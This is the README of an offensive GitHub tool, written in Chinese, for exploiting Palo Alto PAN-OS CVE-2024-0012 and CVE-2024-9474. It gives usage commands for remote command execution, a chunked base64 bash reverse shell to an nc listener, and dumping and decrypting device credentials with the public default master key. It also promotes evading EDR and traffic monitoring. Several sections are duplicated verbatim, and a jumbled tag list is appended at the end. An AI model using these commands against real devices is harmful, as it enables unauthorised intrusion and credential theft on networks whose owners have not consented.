Regent8SH/PanOsExploitMultitool
GitHub: Regent8SH/PanOsExploitMultitool
针对 Palo Alto PAN-OS CVE-2024-0012/CVE-2024-9474 漏洞的一体化利用与后渗透工具,核心能力是通过公开主密钥远程提取并解密设备中存储的各类凭据。
Stars: 4 | Forks: 0
# PanOsExploitMultitool
针对受漏洞 CVE-2024-0012 和 CVE-2024-9474 影响的 Palo Alto PAN-OS 系统的漏洞利用与后渗透多合一工具。
在早期利用 CVE-2024-0012 和 CVE-2024-9474 的远程代码执行漏洞时,我获取了一个 shell,并开始识别包含各种密码字段中奇怪字符串的配置文件。由于这些显然不是常见的哈希格式,我和我的团队开始对此进行调查,并很快在 ThreatLabs 网站上发现了一份安全公告,其中提到 PAN-OS 凭据默认使用公开的主密钥进行加密(曾经是?)。尽管可以在设备配置中更改此主密钥,但我发现在我遇到这些漏洞的每一个实例中,使用的都是默认主密钥。通过设计此工具,我的目标是构建一种简单的方法来利用这些漏洞、执行后渗透和凭据收集,甚至完全通过加密的 HTTPS 流量检索明文凭据,而无需可能被网络和流量监控解决方案检测到的持久连接。
目前支持自动检索和解密 LDAP 和 WMI 凭据,尽管我遇到过一些罕见的情况,即秘密字符串在配置文件中使用非标准的 XML 字段名进行加密。目前我正在努力识别这些独特情况的原因,以便能够确保完全支持。请注意,该工具仍在开发中。
## 安装
在使用之前,请确保已使用以下命令安装了所有必要的依赖项:
```
pip3 install -r requirements.txt
```
## 检查
"check" 命令将允许你检查远程目标是否受 CVE-2024-0012 漏洞影响。通过 IP 地址定位远程主机时,请务必使用 `--no-verify` 参数。示例:
```
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify
```

## 命令执行
"command" 命令将允许你在远程目标上利用 CVE-2024-0012 和 CVE-2024-9474 漏洞,执行手动提供的命令并通过 web 界面检索命令输出。与 dump 和 shell 命令类似,提供的命令会被分块处理为足够小的片段以适应 CVE-2024-9474 命令注入漏洞的限制,然后将其写入可写目录(默认为 /var/tmp/)中的临时 shell 文件中并在目标上执行。输出被写入到 /var/appweb/htdocs{remote_dir} 下的临时 PHP 文件中,通过 HTTPS 检索,打印到控制台,并在未提供 `--no-cleanup` 参数的情况下自动清理。同样,必要时请不要忘记使用 `--no-verify`。
```
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
```
## 反弹 Shell
"shell" 命令将允许你在远程目标上利用 CVE-2024-0012 和 CVE-2024-9474 漏洞以在远程主机上接收反弹 shell。基本上,此命令会创建一个标准的 bash 反弹 shell payload,对其进行 base64 编码,将 base64 编码后的数据块分块为足够小的片段以适应 CVE-2024-9474 命令注入漏洞的限制,然后执行命令将每个片段通过 echo 写入可写目录(默认为 /var/tmp/)中的文件里。一旦这些片段完全存储完毕,它们会被合并为一个 shell 文件并在主机上执行,随后应连接回单独的 netcat 监听器(`nc -nvlp {PORT}`)。
请注意,目前由持久反向 shell 连接导致的超时使得文件清理无法进行,因此你需要注意工具执行开始时打印的随机文件名,并从 {writable_dir} 和 /var/appweb/htdocs{remote_dir} 位置对其进行清理。我将在下一个版本中修复此问题,但还没来得及处理。同样,必要时请不要忘记使用 `--no-verify`。
```
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify
```


## 数据导出
这是我在这个项目中的主要目标,也是我想要构建这个工具的主要原因。由于大多数与这些漏洞相关的文章和工具都与远程代码执行有关,我没有发现很多实例详细说明超出该阶段的有用后渗透步骤。使用 dump 命令,你不仅可以远程检索和解密凭据,而且可以完全通过少量加密 (HTTPS) 的 web 请求来完成,而无需任何持久连接。由于 PAN-OS 设备受任何类型的 EDR/MDR/IDR/XDR/?DR 解决方案影响的可能性要小得多,这在红队操作中特别有效。
dump 命令遵循与 shell 命令类似的分块和执行方法,但是,它不是启动反弹 shell,而是从设备的配置文件(位于 /opt/pancfg/mgmt/saved-configs/)中检索加密凭据,然后使用公开的主密钥自动解密已识别的密码。dump 命令还将在解密结束时清理所有创建的文件,除非你包含了 `--no-cleanup` 参数。一如既往,必要时请不要忘记使用 `--no-verify`。
```
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
```

此外,我添加了一个可选的 `--full-running-config` 参数,可用于导出并检索当前运行配置文件的整个 XML 内容,并将其保存到本地文件。虽然我建议进行更深入的检查,因为我曾看到过以前的/其他配置文件中包含独特加密凭据的实例,但这不失为一种检查任何可能未被自动识别和解密的额外凭据的好方法。此外,你可以使用 Local 命令对任何本地 XML 配置文件进行本地处理,详情如下。
```
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
```
## 本地处理
local 命令非常基础,其用例基本上仅适用于你检索到了完整的 XML 配置文件(例如使用 dump 命令的 `--full-running-config` 参数),或者已经获取了 PAN-OS 设备上的 shell 并从设备(位于 /opt/pancfg/mgmt/saved-configs/)中复制或打印了 XML 配置文件的内容。它将执行相同的逻辑和凭据自动解密,但是基于提供的本地文件。
```
python3 PanOsExploitMultitool.py local -f {FILE}
```

## 解密
最后,decrypt 命令将允许你使用公开的主密钥解密原始字符串。这在特定场景下很有用,例如在过去的配置文件中识别到了加密凭据字符串,但紧挨着它的前面没有用户名。目前它也很有用,因为我还没有添加对 WMI 凭据的支持(这很快就会实现,只要我能重新配置我的测试虚拟机)。这些字符串可以直接输入到终端中,可以接受完整的 "-AQ..........==" 格式,也可以只接受末尾的 base64 编码数据块。
```
python3 PanOsExploitMultitool.py decrypt
```

## 参考
请参阅下面在本项目研究和开发中使用的文章、模块和公告。
"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb
"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/
## 反弹 Shell
"shell" 命令将允许你在远程目标上利用 CVE-2024-0012 和 CVE-2024-9474 漏洞以在远程主机上接收反弹 shell。基本上,此命令会创建一个标准的 bash 反弹 shell payload,对其进行 base64 编码,将 base64 编码后的数据块分块为足够小的片段以适应 CVE-2024-9474 命令注入漏洞的限制,然后执行命令将每个片段通过 echo 写入可写目录(默认为 /var/tmp/)中的文件里。一旦这些片段完全存储完毕,它们会被合并为一个 shell 文件并在主机上执行,随后应连接回单独的 netcat 监听器(`nc -nvlp {PORT}`)。
请注意,目前由持久反向 shell 连接导致的超时使得文件清理无法进行,因此你需要注意工具执行开始时打印的随机文件名,并从 {writable_dir} 和 /var/appweb/htdocs{remote_dir} 位置对其进行清理。我将在下一个版本中修复此问题,但还没来得及处理。同样,必要时请不要忘记使用 `--no-verify`。
```
nc -nvlp {PORT}
python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify
```


## 数据导出
这是我在这个项目中的主要目标,也是我想要构建这个工具的主要原因。由于大多数与这些漏洞相关的文章和工具都与远程代码执行有关,我没有发现很多实例详细说明超出该阶段的有用后渗透步骤。使用 dump 命令,你不仅可以远程检索和解密凭据,而且可以完全通过少量加密 (HTTPS) 的 web 请求来完成,而无需任何持久连接。由于 PAN-OS 设备受任何类型的 EDR/MDR/IDR/XDR/?DR 解决方案影响的可能性要小得多,这在红队操作中特别有效。
dump 命令遵循与 shell 命令类似的分块和执行方法,但是,它不是启动反弹 shell,而是从设备的配置文件(位于 /opt/pancfg/mgmt/saved-configs/)中检索加密凭据,然后使用公开的主密钥自动解密已识别的密码。dump 命令还将在解密结束时清理所有创建的文件,除非你包含了 `--no-cleanup` 参数。一如既往,必要时请不要忘记使用 `--no-verify`。
```
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
```

此外,我添加了一个可选的 `--full-running-config` 参数,可用于导出并检索当前运行配置文件的整个 XML 内容,并将其保存到本地文件。虽然我建议进行更深入的检查,因为我曾看到过以前的/其他配置文件中包含独特加密凭据的实例,但这不失为一种检查任何可能未被自动识别和解密的额外凭据的好方法。此外,你可以使用 Local 命令对任何本地 XML 配置文件进行本地处理,详情如下。
```
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
```
## 本地处理
local 命令非常基础,其用例基本上仅适用于你检索到了完整的 XML 配置文件(例如使用 dump 命令的 `--full-running-config` 参数),或者已经获取了 PAN-OS 设备上的 shell 并从设备(位于 /opt/pancfg/mgmt/saved-configs/)中复制或打印了 XML 配置文件的内容。它将执行相同的逻辑和凭据自动解密,但是基于提供的本地文件。
```
python3 PanOsExploitMultitool.py local -f {FILE}
```

## 解密
最后,decrypt 命令将允许你使用公开的主密钥解密原始字符串。这在特定场景下很有用,例如在过去的配置文件中识别到了加密凭据字符串,但紧挨着它的前面没有用户名。目前它也很有用,因为我还没有添加对 WMI 凭据的支持(这很快就会实现,只要我能重新配置我的测试虚拟机)。这些字符串可以直接输入到终端中,可以接受完整的 "-AQ..........==" 格式,也可以只接受末尾的 base64 编码数据块。
```
python3 PanOsExploitMultitool.py decrypt
```

## 参考
请参阅下面在本项目研究和开发中使用的文章、模块和公告。
"Pots and Pans, AKA an SSLVPN - Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474", WatchTowr Labs: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb
"Advisory - PAN-OS - AES256-CBC & SHA1", Threatlabs: https://threatlabs.eu/advisories/TL23-PA-SSTWMX/标签:CISA项目, CVE-2024-0012, CVE-2024-9474, EXP, HTTPS, IP 地址批量处理, Palo Alto, PAN-OS, PE 加载器, PoC, Python, RCE, StruQ, 密码解密, 攻击路径可视化, 无后门, 无线安全, 暴力破解, 编程工具, 网络安全, 远程代码执行, 隐私保护, 黑客工具, 默认主密钥